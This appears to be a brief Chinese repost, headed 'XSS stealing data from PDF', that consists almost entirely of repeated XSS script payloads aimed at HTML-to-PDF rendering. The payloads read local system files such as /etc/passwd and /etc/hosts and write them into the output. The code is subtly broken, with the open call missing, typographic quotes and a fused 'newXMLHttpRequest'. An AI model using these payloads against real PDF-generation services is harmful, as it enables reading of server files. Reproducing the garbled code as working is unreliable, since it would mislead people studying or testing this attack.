XSS 从 PDF 中窃取数据
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};(‘GET’,’file:///etc/hosts’);x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};(‘GET’,’file:///etc/passwd’);x.send();</script> <script>x=newXMLHttpRequest;x.onload=function(){document.write(this.responseText)};(‘GET’,’file:///etc/hosts’);x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};(‘GET’,’file:///etc/passwd’);x.send();</script>
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。原始发表：2025-04-28，如有侵权请联系 cloudcommunity@tencent 删除functionpdfscriptxss数据